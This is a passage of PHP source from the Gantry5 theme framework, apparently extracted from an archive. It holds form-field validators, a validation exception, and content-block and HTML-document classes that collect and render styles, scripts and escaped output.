        return self::type_Input_Text($value, $params, $field) &&
filter_var($value, FILTER_VALIDATE_EMAIL);
    }

    /**
     * HTML5 input: url
     *
     * @param  mixed  $value   Value to be validated.
     * @param  array  $params  Validation parameters.
     * @param  array  $field   Blueprint for the field.
     * @return bool   True if validation succeeded.
     */

    public static function type_Input_Url($value, array $params, array
$field)
    {
        return self::type_Input_Text($value, $params, $field) &&
filter_var($value, FILTER_VALIDATE_URL);
    }

    /**
     * HTML5 input: datetime
     *
     * @param  mixed  $value   Value to be validated.
     * @param  array  $params  Validation parameters.
     * @param  array  $field   Blueprint for the field.
     * @return bool   True if validation succeeded.
     */
    public static function type_Input_Datetime($value, array $params, array
$field)
    {
        if ($value instanceof \DateTime) {
            return true;
        }
        if (!\is_string($value)) {
            return false;
        }
        if (!isset($params['format'])) {
            return false !== strtotime($value);
        }

        $dateFromFormat =
\DateTime::createFromFormat($params['format'], $value);

        return $dateFromFormat && $value ===
date($params['format'], $dateFromFormat->getTimestamp());
    }

    /**
     * HTML5 input: datetime-local
     *
     * @param  mixed  $value   Value to be validated.
     * @param  array  $params  Validation parameters.
     * @param  array  $field   Blueprint for the field.
     * @return bool   True if validation succeeded.
     */
    public static function type_Input_DatetimeLocal($value, array $params,
array $field)
    {
        return self::type_Input_Datetime($value, $params, $field);
    }

    /**
     * HTML5 input: date
     *
     * @param  mixed  $value   Value to be validated.
     * @param  array  $params  Validation parameters.
     * @param  array  $field   Blueprint for the field.
     * @return bool   True if validation succeeded.
     */
    public static function type_Input_Date($value, array $params, array
$field)
    {
        if (!isset($params['format'])) {
            $params['format'] = 'Y-m-d';
        }
        return self::type_Input_Datetime($value, $params, $field);
    }

    /**
     * HTML5 input: time
     *
     * @param  mixed  $value   Value to be validated.
     * @param  array  $params  Validation parameters.
     * @param  array  $field   Blueprint for the field.
     * @return bool   True if validation succeeded.
     */
    public static function type_Input_Time($value, array $params, array
$field)
    {
        if (!isset($params['format'])) {
            $params['format'] = 'H:i';
        }
        return self::type_Input_Datetime($value, $params, $field);
    }

    /**
     * HTML5 input: month
     *
     * @param  mixed  $value   Value to be validated.
     * @param  array  $params  Validation parameters.
     * @param  array  $field   Blueprint for the field.
     * @return bool   True if validation succeeded.
     */
    public static function type_Input_Month($value, array $params, array
$field)
    {
        if (!isset($params['format'])) {
            $params['format'] = 'Y-m';
        }
        return self::type_Input_Datetime($value, $params, $field);
    }

    /**
     * HTML5 input: week
     *
     * @param  mixed  $value   Value to be validated.
     * @param  array  $params  Validation parameters.
     * @param  array  $field   Blueprint for the field.
     * @return bool   True if validation succeeded.
     */
    public static function type_Input_Week($value, array $params, array
$field)
    {
        if (!isset($params['format']) &&
!preg_match('/^\d{4}-W\d{2}$/u', $value)) {
            return false;
        }
        return self::type_Input_Datetime($value, $params, $field);
    }

    /**
     * Custom input: array
     *
     * @param  mixed  $value   Value to be validated.
     * @param  array  $params  Validation parameters.
     * @param  array  $field   Blueprint for the field.
     * @return bool   True if validation succeeded.
     */
    public static function typeArray($value, array $params, array $field)
    {
        if (!\is_array($value)) {
            return false;
        }

        if (isset($field['multiple'])) {
            if (isset($params['min']) && \count($value)
< $params['min']) {
                return false;
            }

            if (isset($params['max']) && \count($value)
> $params['max']) {
                return false;
            }

            $min = isset($params['min']) ?
$params['min'] : 0;
            if (isset($params['step']) && (\count($value)
- $min) % $params['step'] === 0) {
                return false;
            }
        }

        $options = isset($field['options']) ?
array_keys($field['options']) : [];
        $values = isset($field['use']) &&
$field['use'] === 'keys' ? array_keys($value) : $value;

        return !($options && array_diff($values, $options));
    }

    protected static function filterArray($value, $params, $field)
    {
        $values = (array) $value;
        $options = isset($field['options']) ?
array_keys($field['options']) : [];
        $multi = isset($field['multiple']) ?
$field['multiple'] : false;

        if (\count($values) === 1 && isset($values[0]) &&
$values[0] === '') {
            return null;
        }

        if ($options) {
            $useKey = isset($field['use']) &&
$field['use'] === 'keys';
            foreach ($values as $key => $val) {
                $values[$key] = $useKey ? (bool) $val : $val;
            }
        }

        if ($multi) {
            foreach ($values as $key => $val) {
                if (\is_array($val)) {
                    $val = implode(',', $val);
                }

                $values[$key] =  array_map('trim',
explode(',', $val));
            }
        }

        return $values;
    }

    public static function type_Input_Yaml($value, $params)
    {
        try {
            Yaml::parse($value);
            return true;
        } catch (ParseException $e) {
            return false;
        }
    }

    public static function filter_Input_Yaml($value, $params)
    {
        try {
            return (array) Yaml::parse($value);
        } catch (ParseException $e) {
            return null;
        }
    }

    /**
     * Custom input: ignore (will not validate)
     *
     * @param  mixed  $value   Value to be validated.
     * @param  array  $params  Validation parameters.
     * @param  array  $field   Blueprint for the field.
     * @return bool   True if validation succeeded.
     */
    public static function type_Novalidate($value, array $params, array
$field)
    {
        return true;
    }

    public static function filter_Novalidate($value, array $params, array
$field)
    {
        return $value;
    }

    // HTML5 attributes (min, max and range are handled inside the types)

    public static function validate_Required($value, $params)
    {
        if (is_scalar($value)) {
            return (bool) $params !== true || $value !== '';
        }

        return (bool) $params !== true || !empty($value);
    }

    public static function validate_Pattern($value, $params)
    {
        return (bool) preg_match("`^{$params}$`u", $value);
    }


    // Internal types

    public static function validate_Alpha($value, $params)
    {
        return ctype_alpha($value);
    }

    public static function validate_Alnum($value, $params)
    {
        return ctype_alnum($value);
    }

    public static function type_Bool($value, $params)
    {
        return \is_bool($value) || $value == 1 || $value == 0;
    }

    public static function validate_Bool($value, $params)
    {
        return \is_bool($value) || $value == 1 || $value == 0;
    }

    protected static function filter_Bool($value, $params)
    {
        return (bool) $value;
    }

    public static function validate_Digit($value, $params)
    {
        return ctype_digit($value);
    }

    public static function validate_Float($value, $params)
    {
        return \is_float(filter_var($value, FILTER_VALIDATE_FLOAT));
    }

    protected static function filter_Float($value, $params)
    {
        return (float) $value;
    }

    public static function validate_Hex($value, $params)
    {
        return ctype_xdigit($value);
    }

    public static function validate_Int($value, $params)
    {
        return is_numeric($value) && (int) $value == $value;
    }

    protected static function filter_Int($value, $params)
    {
        return (int) $value;
    }

    public static function validate_Array($value, $params)
    {
        return \is_array($value)
            || ($value instanceof \ArrayAccess
                && $value instanceof \Traversable
                && $value instanceof \Countable);
    }

    public static function validate_Json($value, $params)
    {
        return (bool) (@json_decode($value));
    }
}
Gantry/Component/Config/ValidationException.php000064400000002002151157471010015635
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Config;

class ValidationException extends \RuntimeException
{
    protected $messages = [];

    public function setMessages(array $messages = []) {
        $this->messages = $messages;

        // TODO: add translation.
        $this->message = sprintf('Form validation failed:') .
' ' . $this->message;

        foreach ($messages as $variable => &$list) {
            $list = array_unique($list);
            foreach ($list as $message) {
                $this->message .= "<br/>$message";
            }
        }

        return $this;
    }

    public function getMessages()
    {
        return $this->messages;
    }
}
Gantry/Component/Content/Block/ContentBlock.php000064400000013323151157471010015520
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Content\Block;

/**
 * Class to create nested blocks of content.
 *
 * $innerBlock = ContentBlock::create();
 * $innerBlock->setContent('my inner content');
 * $outerBlock = ContentBlock::create();
 * $outerBlock->setContent(sprintf('Inside my outer block I have
%s.', $innerBlock->getToken()));
 * $outerBlock->addBlock($innerBlock);
 * echo $outerBlock;
 *
 * @package Gantry\Component\Content\Block
 * @since 5.4.3
 */
class ContentBlock implements ContentBlockInterface
{
    protected $version = 1;
    protected $id;
    protected $tokenTemplate = '@@BLOCK-%s@@';
    protected $content = '';
    protected $blocks = [];

    /**
     * @param string $id
     * @return static
     * @since 5.4.3
     */
    public static function create($id = null)
    {
        return new static($id);
    }

    /**
     * @param array $serialized
     * @return ContentBlockInterface
     * @since 5.4.3
     */
    public static function fromArray(array $serialized)
    {
        try {
            $type = isset($serialized['_type']) ?
$serialized['_type'] : null;
            $id = isset($serialized['id']) ?
$serialized['id'] : null;

            if (!$type || !$id || !is_a($type,
'Gantry\Component\Content\Block\ContentBlockInterface', true)) {
                throw new \RuntimeException('Bad data');
            }

            /** @var ContentBlockInterface $instance */
            $instance = new $type($id);
            $instance->build($serialized);
        } catch (\Exception $e) {
            throw new \RuntimeException(sprintf('Cannot unserialize
Block: %s', $e->getMessage()), $e->getCode(), $e);
        }

        return $instance;
    }

    /**
     * Block constructor.
     *
     * @param string $id
     * @since 5.4.3
     */
    public function __construct($id = null)
    {
        $this->id = $id ? (string) $id : $this->generateId();
    }

    /**
     * @return string
     * @since 5.4.3
     */
    public function getId()
    {
        return $this->id;
    }

    /**
     * @return string
     * @since 5.4.3
     */
    public function getToken()
    {
        return sprintf($this->tokenTemplate, $this->getId());
    }

    /**
     * @return array
     * @since 5.4.3
     */
    public function toArray()
    {
        $blocks = [];
        /**
         * @var string $id
         * @var ContentBlockInterface $block
         */
        foreach ($this->blocks as $block) {
            $blocks[$block->getId()] = $block->toArray();
        }

        $array = [
            '_type' => get_class($this),
            '_version' => $this->version,
            'id' => $this->id,
        ];

        if ($this->content) {
            $array['content'] = $this->content;
        }

        if ($blocks) {
            $array['blocks'] = $blocks;
        }

        return $array;
    }

    /**
     * @return string
     * @since 5.4.3
     */
    public function toString()
    {
        if (!$this->blocks) {
            return (string) $this->content;
        }

        $tokens = [];
        $replacements = [];
        foreach ($this->blocks as $block) {
            $tokens[] = $block->getToken();
            $replacements[] = $block->toString();
        }

        return str_replace($tokens, $replacements, (string)
$this->content);
    }

    /**
     * @return string
     * @since 5.4.3
     */
    public function __toString()
    {
        try {
            return $this->toString();
        } catch (\Exception $e) {
            return sprintf('Error while rendering block: %s',
$e->getMessage());
        }
    }

    /**
     * @param array $serialized
     * @since 5.4.3
     */
    public function build(array $serialized)
    {
        $this->checkVersion($serialized);

        $this->id = isset($serialized['id']) ?
$serialized['id'] : $this->generateId();

        if (isset($serialized['content'])) {
            $this->setContent($serialized['content']);
        }

        $blocks = isset($serialized['blocks']) ? (array)
$serialized['blocks'] : [];
        foreach ($blocks as $block) {
            $this->addBlock(self::fromArray($block));
        }
    }

    /**
     * @param string $content
     * @return $this
     * @since 5.4.3
     */
    public function setContent($content)
    {
        $this->content = $content;

        return $this;
    }

    /**
     * @param ContentBlockInterface $block
     * @return $this
     * @since 5.4.3
     */
    public function addBlock(ContentBlockInterface $block)
    {
        $this->blocks[$block->getId()] = $block;

        return $this;
    }

    /**
     * @return string
     * @since 5.4.3
     */
    public function serialize()
    {
        return serialize($this->toArray());
    }

    /**
     * @param string $serialized
     * @since 5.4.3
     */
    public function unserialize($serialized)
    {
        $array = unserialize($serialized);
        $this->build($array);
    }

    /**
     * @return string
     * @since 5.4.3
     */
    protected function generateId()
    {
        return uniqid('', true);
    }

    /**
     * @param array $serialized
     * @throws \RuntimeException
     * @since 5.4.3
     */
    protected function checkVersion(array $serialized)
    {
        $version = isset($serialized['_version']) ? (string)
$serialized['_version'] : 1;
        if ($version != $this->version) {
            throw new \RuntimeException(sprintf('Unsupported version
%s', $version));
        }
    }
}Gantry/Component/Content/Block/ContentBlockInterface.php000064400000001570151157471010017342
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Content\Block;

/**
 * @since 5.4.3
 */
interface ContentBlockInterface extends \Serializable
{
    public static function create($id = null);
    public static function fromArray(array $serialized);

    public function __construct($id = null);

    public function getId();
    public function getToken();

    public function toArray();
    public function build(array $serialized);

    public function setContent($content);
    public function addBlock(ContentBlockInterface $block);
}Gantry/Component/Content/Block/HtmlBlock.php000064400000031255151157471010015016
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Content\Block;

use Gantry\Framework\Document;
use Gantry\Framework\Gantry;
use Gantry\Framework\Theme;

/**
 * Class HtmlBlock
 * @package Gantry\Component\Content\Block
 * @since 5.4.3
 */
class HtmlBlock extends ContentBlock implements HtmlBlockInterface
{
    protected $version = 1;
    protected $frameworks = [];
    protected $styles = [];
    protected $scripts = [];
    protected $html = [];

    /**
     * @return array
     * @since 5.4.3
     */
    public function getAssets()
    {
        $assets = $this->getAssetsFast();

        $this->sortAssets($assets['styles']);
        $this->sortAssets($assets['scripts']);
        $this->sortAssets($assets['html']);

        return $assets;
    }

    /**
     * @return array
     * @since 5.4.3
     */
    public function getFrameworks()
    {
        $assets = $this->getAssetsFast();

        return array_keys($assets['frameworks']);
    }

    /**
     * @param string $location
     * @return array
     * @since 5.4.3
     */
    public function getStyles($location = 'head')
    {
        $styles = $this->getAssetsInLocation('styles',
$location);

        if (!$styles) {
            return [];
        }

        $gantry = Gantry::instance();

        /** @var Theme $theme */
        $theme = isset($gantry['theme']) ?
$gantry['theme'] : null;

        /** @var Document $document */
        $document = $gantry['document'];

        foreach ($styles as $key => $style) {
            if (isset($style['href'])) {
                $url = $style['href'];
                if ($theme && preg_match('|\.scss$|',
$url)) {
                    // Compile SCSS files.
                    $url = $theme->css(basename($url,
'.scss'));
                }
                // Deal with streams and relative paths.
                $url = $document->url($url, false, null, false);

                $styles[$key]['href'] = $url;
            }
        }

        return $styles;
    }

    /**
     * @param string $location
     * @return array
     * @since 5.4.3
     */
    public function getScripts($location = 'head')
    {
        $scripts = $this->getAssetsInLocation('scripts',
$location);

        if (!$scripts) {
            return [];
        }

        $gantry = Gantry::instance();

        /** @var Document $document */
        $document = $gantry['document'];

        foreach ($scripts as $key => $script) {
            if (isset($script['src'])) {
                // Deal with streams and relative paths.
                $scripts[$key]['src'] =
$document->url($script['src'], false, null, false);
            }
        }

        return $scripts;
    }

    /**
     * @param string $location
     * @return array
     * @since 5.4.3
     */
    public function getHtml($location = 'bottom')
    {
        return $this->getAssetsInLocation('html', $location);
    }

    /**
     * @return array
     * @since 5.4.3
     */
    public function toArray()
    {
        $array = parent::toArray();

        if ($this->frameworks) {
            $array['frameworks'] = $this->frameworks;
        }
        if ($this->styles) {
            $array['styles'] = $this->styles;
        }
        if ($this->scripts) {
            $array['scripts'] = $this->scripts;
        }
        if ($this->html) {
            $array['html'] = $this->html;
        }

        return $array;
    }

    /**
     * @param array $serialized
     * @since 5.4.3
     */
    public function build(array $serialized)
    {
        parent::build($serialized);

        $this->frameworks = isset($serialized['frameworks']) ?
(array) $serialized['frameworks'] : [];
        $this->styles = isset($serialized['styles']) ? (array)
$serialized['styles'] : [];
        $this->scripts = isset($serialized['scripts']) ?
(array) $serialized['scripts'] : [];
        $this->html = isset($serialized['html']) ? (array)
$serialized['html'] : [];
    }

    /**
     * @param string $framework
     * @return $this
     * @since 5.4.3
     */
    public function addFramework($framework)
    {
        $this->frameworks[$framework] = 1;

        return $this;
    }

    /**
     * @param string|array $element
     * @param int $priority
     * @param string $location
     * @return bool
     *
     * @example $block->addStyle('assets/js/my.js');
     * @example $block->addStyle(['href' =>
'assets/js/my.js', 'media' => 'screen']);
     * @since 5.4.3
     */
    public function addStyle($element, $priority = 0, $location =
'head')
    {
        if (!is_array($element)) {
            $element = ['href' => (string) $element];
        }
        if (empty($element['href'])) {
            return false;
        }
        if (!isset($this->styles[$location])) {
            $this->styles[$location] = [];
        }

        $id = !empty($element['id']) ? ['id' =>
(string) $element['id']] : [];
        $href = $element['href'];
        $type = !empty($element['type']) ? (string)
$element['type'] : 'text/css';
        $media = !empty($element['media']) ? (string)
$element['media'] : null;
        unset($element['tag'], $element['id'],
$element['rel'], $element['content'],
$element['href'], $element['type'],
$element['media']);

        $this->styles[$location][md5($href) . sha1($href)] = [
                ':type' => 'file',
                ':priority' => (int) $priority,
                'href' => $href,
                'type' => $type,
                'media' => $media,
                'element' => $element
            ] + $id;

        return true;
    }

    /**
     * @param string|array $element
     * @param int $priority
     * @param string $location
     * @return bool
     * @since 5.4.3
     */
    public function addInlineStyle($element, $priority = 0, $location =
'head')
    {
        if (!is_array($element)) {
            $element = ['content' => (string) $element];
        }
        if (empty($element['content'])) {
            return false;
        }
        if (!isset($this->styles[$location])) {
            $this->styles[$location] = [];
        }

        $content = (string) $element['content'];
        $type = !empty($element['type']) ? (string)
$element['type'] : 'text/css';

        $this->styles[$location][md5($content) . sha1($content)] = [
            ':type' => 'inline',
            ':priority' => (int) $priority,
            'content' => $content,
            'type' => $type
        ];

        return true;
    }

    /**
     * @param string|array $element
     * @param int $priority
     * @param string $location
     * @return bool
     * @since 5.4.3
     */
    public function addScript($element, $priority = 0, $location =
'head')
    {
        if (!is_array($element)) {
            $element = ['src' => (string) $element];
        }
        if (empty($element['src'])) {
            return false;
        }
        if (!isset($this->scripts[$location])) {
            $this->scripts[$location] = [];
        }

        $src = $element['src'];
        $type = !empty($element['type']) ? (string)
$element['type'] : 'text/javascript';
        $defer = isset($element['defer']) ? true : false;
        $async = isset($element['async']) ? true : false;
        $handle = !empty($element['handle']) ? (string)
$element['handle'] : '';

        $this->scripts[$location][md5($src) . sha1($src)] = [
            ':type' => 'file',
            ':priority' => (int) $priority,
            'src' => $src,
            'type' => $type,
            'defer' => $defer,
            'async' => $async,
            'handle' => $handle
        ];

        return true;
    }

    /**
     * @param string|array $element
     * @param int $priority
     * @param string $location
     * @return bool
     * @since 5.4.3
     */
    public function addInlineScript($element, $priority = 0, $location =
'head')
    {
        if (!is_array($element)) {
            $element = ['content' => (string) $element];
        }
        if (empty($element['content'])) {
            return false;
        }
        if (!isset($this->scripts[$location])) {
            $this->scripts[$location] = [];
        }

        $content = (string) $element['content'];
        $type = !empty($element['type']) ? (string)
$element['type'] : 'text/javascript';

        $this->scripts[$location][md5($content) . sha1($content)] = [
            ':type' => 'inline',
            ':priority' => (int) $priority,
            'content' => $content,
            'type' => $type
        ];

        return true;
    }

    /**
     * @param string $html
     * @param int $priority
     * @param string $location
     * @return bool
     * @since 5.4.3
     */
    public function addHtml($html, $priority = 0, $location =
'bottom')
    {
        if (empty($html) || !is_string($html)) {
            return false;
        }
        if (!isset($this->html[$location])) {
            $this->html[$location] = [];
        }

        $this->html[$location][md5($html) . sha1($html)] = [
            ':priority' => (int) $priority,
            'html' => $html
        ];

        return true;
    }

    /**
     * @param string $location
     * @deprecated Temporarily needed in WP
     * @since 5.4.3
     */
    public function clearStyles($location = 'head')
    {
        foreach ($this->blocks as $block) {
            if (method_exists($block, 'clearStyles')) {
                $block->clearStyles($location);
            }
        }
        unset($this->styles[$location]);
    }

    /**
     * @param string $location
     * @deprecated Temporarily needed in WP
     * @since 5.4.3
     */
    public function clearScripts($location = 'head')
    {
        foreach ($this->blocks as $block) {
            if (method_exists($block, 'clearScripts')) {
                $block->clearScripts($location);
            }
        }
        unset($this->scripts[$location]);
    }

    /**
     * @return array
     * @since 5.4.3
     */
    protected function getAssetsFast()
    {
        $assets = [
            'frameworks' => $this->frameworks,
            'styles' => $this->styles,
            'scripts' => $this->scripts,
            'html' => $this->html
        ];

        foreach ($this->blocks as $block) {
            if ($block instanceof HtmlBlock) {
                $blockAssets = $block->getAssetsFast();
                $assets['frameworks'] +=
$blockAssets['frameworks'];

                foreach ($blockAssets['styles'] as $location
=> $styles) {
                    if (!isset($assets['styles'][$location])) {
                        $assets['styles'][$location] = $styles;
                    } elseif ($styles) {
                        $assets['styles'][$location] += $styles;
                    }
                }

                foreach ($blockAssets['scripts'] as $location
=> $scripts) {
                    if (!isset($assets['scripts'][$location])) {
                        $assets['scripts'][$location] = $scripts;
                    } elseif ($scripts) {
                        $assets['scripts'][$location] +=
$scripts;
                    }
                }

                foreach ($blockAssets['html'] as $location =>
$htmls) {
                    if (!isset($assets['html'][$location])) {
                        $assets['html'][$location] = $htmls;
                    } elseif ($htmls) {
                        $assets['html'][$location] += $htmls;
                    }
                }
            }
        }

        return $assets;
    }

    /**
     * @param string $type
     * @param string $location
     * @return array
     * @since 5.4.3
     */
    protected function getAssetsInLocation($type, $location)
    {
        $assets = $this->getAssetsFast();

        if (empty($assets[$type][$location])) {
            return [];
        }

        $styles = $assets[$type][$location];
        $this->sortAssetsInLocation($styles);

        return $styles;
    }

    /**
     * @param array $items
     * @since 5.4.3
     */
    protected function sortAssetsInLocation(array &$items)
    {
        $count = 0;
        foreach ($items as &$item) {
            $item[':order'] = ++$count;
        }
        uasort(
            $items,
            function ($a, $b) {
                return ($a[':priority'] ==
$b[':priority']) ? $a[':order'] -
$b[':order'] : $b[':priority'] -
$a[':priority'];
            }
        );
    }

    /**
     * @param array $array
     * @since 5.4.3
     */
    protected function sortAssets(array &$array)
    {
        foreach ($array as $location => &$items) {
            $this->sortAssetsInLocation($items);
        }
    }
}Gantry/Component/Content/Block/HtmlBlockInterface.php000064400000001710151157471010016630
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Content\Block;

/**
 * @since 5.4.3
 */
interface HtmlBlockInterface extends ContentBlockInterface
{
    public function getAssets();

    public function addFramework($framework);
    public function addStyle($element, $priority = 0, $location =
'head');
    public function addInlineStyle($element, $priority = 0, $location =
'head');
    public function addScript($element, $priority = 0, $location =
'head');
    public function addInlineScript($element, $priority = 0, $location =
'head');
    public function addHtml($html, $priority = 0, $location =
'bottom');
}
Gantry/Component/Content/Document/HtmlDocument.php000064400000064771151157471010016277
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Content\Document;

use Gantry\Component\Content\Block\ContentBlock;
use Gantry\Component\Content\Block\HtmlBlock;
use Gantry\Component\Gantry\GantryTrait;
use Gantry\Component\Url\Url;
use Gantry\Framework\Gantry;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

class HtmlDocument
{
    use GantryTrait;

    public static $timestamp_age = 604800;
    public static $urlFilterParams;

    /**
     * @var array|HtmlBlock[]
     */
    protected static $stack;
    protected static $frameworks = [];
    protected static $scripts = [];
    protected static $styles = [];
    protected static $availableFrameworks = [
        'jquery' => 'registerJquery',
        'jquery.framework' => 'registerJquery',
        'jquery.ui.core' =>
'registerJqueryUiSortable',
        'jquery.ui.sortable' =>
'registerJqueryUiSortable',
        'bootstrap.2' => 'registerBootstrap2',
        'bootstrap.3' => 'registerBootstrap3',
        'mootools' => 'registerMootools',
        'mootools.framework' => 'registerMootools',
        'mootools.core' => 'registerMootools',
        'mootools.more' => 'registerMootoolsMore',
        'lightcase' => 'registerLightcase',
        'lightcase.init' => 'registerLightcaseInit',
    ];

    public function __construct()
    {
        static::$stack = [];
        static::push();
    }

    /**
     * Create new local instance of document allowing asset caching.
     */
    public static function push()
    {
        array_unshift(static::$stack, new HtmlBlock());
    }

    /**
     * Return local instance of document allowing it to be cached.
     *
     * @return HtmlBlock
     */
    public static function pop()
    {
        return array_shift(static::$stack);
    }

    /**
     * @param ContentBlock $block
     * @return $this
     */
    public function addBlock(ContentBlock $block)
    {
        static::$stack[0]->addBlock($block);

        return $this;
    }

    /**
     * @param string $framework
     * @return bool
     */
    public static function addFramework($framework)
    {
        if (!isset(static::$availableFrameworks[$framework])) {
            return false;
        }

        static::getObject();
        static::$stack[0]->addFramework($framework);

        return true;
    }

    /**
     * @param string|array $element
     * @param int $priority
     * @param string $location
     * @return bool
     */
    public static function addStyle($element, $priority = 0, $location =
'head')
    {
        static::getObject();
        return static::$stack[0]->addStyle($element, $priority,
$location);
    }

    /**
     * @param string|array $element
     * @param int $priority
     * @param string $location
     * @return bool
     */
    public static function addInlineStyle($element, $priority = 0,
$location = 'head')
    {
        static::getObject();
        return static::$stack[0]->addInlineStyle($element, $priority,
$location);
    }

    /**
     * @param string|array $element
     * @param int $priority
     * @param string $location
     * @return bool
     */
    public static function addScript($element, $priority = 0, $location =
'head')
    {
        static::getObject();
        return static::$stack[0]->addScript($element, $priority,
$location);
    }

    /**
     * @param string|array $element
     * @param int $priority
     * @param string $location
     * @return bool
     */
    public static function addInlineScript($element, $priority = 0,
$location = 'head')
    {
        static::getObject();
        return static::$stack[0]->addInlineScript($element, $priority,
$location);
    }

    /**
     * @param string $html
     * @param int $priority
     * @param string $location
     * @return bool
     */
    public static function addHtml($html, $priority = 0, $location =
'bottom')
    {
        static::getObject();
        return static::$stack[0]->addHtml($html, $priority, $location);
    }

    /**
     * @param array $element
     * @param string $location
     * @param int $priority
     * @return bool
     */
    public static function addHeaderTag(array $element, $location =
'head', $priority = 0)
    {
        $success = false;

        switch ($element['tag']) {
            case 'link':
                if (!empty($element['rel']) &&
$element['rel'] === 'stylesheet') {
                    $success = static::addStyle($element, $priority,
$location);
                }

                break;

            case 'style':
                $success = static::addInlineStyle($element, $priority,
$location);

                break;

            case 'script':
                if (!empty($element['src'])) {
                    $success = static::addScript($element, $priority,
$location);
                } elseif (!empty($element['content'])) {
                    $success = static::addInlineScript($element, $priority,
$location);
                }

                break;
        }

        return $success;
    }

    public static function getStyles($location = 'head')
    {
        static::getObject();
        $styles = static::$stack[0]->getStyles($location);

        $output = [];

        foreach ($styles as $style) {
            switch ($style[':type']) {
                case 'file':
                    $attribs = '';
                    if ($style['media']) {
                        $attribs .= ' media="' .
static::escape($style['media']) . '"';
                    }
                    $output[] = sprintf(
                        '<link rel="stylesheet"
href="%s" type="%s"%s />',
                        static::escape($style['href']),
                        static::escape($style['type']),
                        $attribs
                    );
                    break;
                case 'inline':
                    $attribs = '';
                    if ($style['type'] !== 'text/css')
{
                        $attribs .= ' type="' .
static::escape($style['type']) . '"';
                    }
                    $output[] = sprintf(
                        '<style%s>%s</style>',
                        $attribs,
                        $style['content']
                    );
                    break;
            }
        }

        return $output;
    }

    public static function getScripts($location = 'head')
    {
        static::getObject();
        $scripts = static::$stack[0]->getScripts($location);

        $output = [];

        foreach ($scripts as $script) {
            switch ($script[':type']) {
                case 'file':
                    $attribs = '';
                    if ($script['async']) {
                        $attribs .= ' async="async"';
                    }
                    if ($script['defer']) {
                        $attribs .= ' defer="defer"';
                    }
                    $output[] = sprintf(
                        '<script type="%s"%s
src="%s"></script>',
                        static::escape($script['type']),
                        $attribs,
                        static::escape($script['src'])
                    );
                    break;
                case 'inline':
                    $output[] = sprintf(
                        '<script
type="%s">%s</script>',
                        static::escape($script['type']),
                        $script['content']
                    );
                    break;
            }
        }

        return $output;
    }

    public static function getHtml($location = 'bottom')
    {
        static::getObject();
        $htmls = static::$stack[0]->getHtml($location);
        $output = [];

        foreach ($htmls as $html) {
            $output[] = $html['html'];
        }

        return $output;
    }

    /**
     * Escape string (emulates twig filter).
     *
     * @param string|object $string
     * @param string $strategy
     * @return string
     */
    public static function escape($string, $strategy = 'html')
    {
        if (!is_string($string)) {
            if (is_object($string) && method_exists($string,
'__toString')) {
                $string = (string) $string;
            } elseif (in_array($strategy, ['html',
'js', 'css', 'html_attr', 'url']))
{
                return $string;
            }
        }

        switch ($strategy) {
            case 'html':
                return htmlspecialchars($string, ENT_QUOTES |
ENT_SUBSTITUTE, 'UTF-8');

            case 'js':
                if (0 === strlen($string) ? false : (1 ===
preg_match('/^./su', $string) ? false : true)) {
                    throw new \RuntimeException('The string to escape
is not a valid UTF-8 string.');
                }

                $string = preg_replace_callback(
                    '#[^a-zA-Z0-9,\._]#Su',
                   
'Gantry\\Component\\Content\\Document\\HtmlDocument::_escape_js_callback',
                    $string
                );

                return $string;

            case 'css':
                if (0 === strlen($string) ? false : (1 ===
preg_match('/^./su', $string) ? false : true)) {
                    throw new \RuntimeException('The string to escape
is not a valid UTF-8 string.');
                }

                $string = preg_replace_callback(
                    '#[^a-zA-Z0-9]#Su',
                   
'Gantry\\Component\\Content\\Document\\HtmlDocument::_escape_css_callback',
                    $string
                );

                return $string;

            case 'html_attr':
                if (0 === strlen($string) ? false : (1 ===
preg_match('/^./su', $string) ? false : true)) {
                    throw new \RuntimeException('The string to escape
is not a valid UTF-8 string.');
                }

                $string = preg_replace_callback(
                    '#[^a-zA-Z0-9,\.\-_]#Su',
                   
'Gantry\\Component\\Content\\Document\\HtmlDocument::_escape_html_attr_callback',
                    $string
                );

                return $string;

            case 'url':
                return rawurlencode($string);

            default:
                throw new \RuntimeException(sprintf('Invalid escaping
strategy "%s" (valid ones: html, js, css, html_attr, url).',
$strategy));
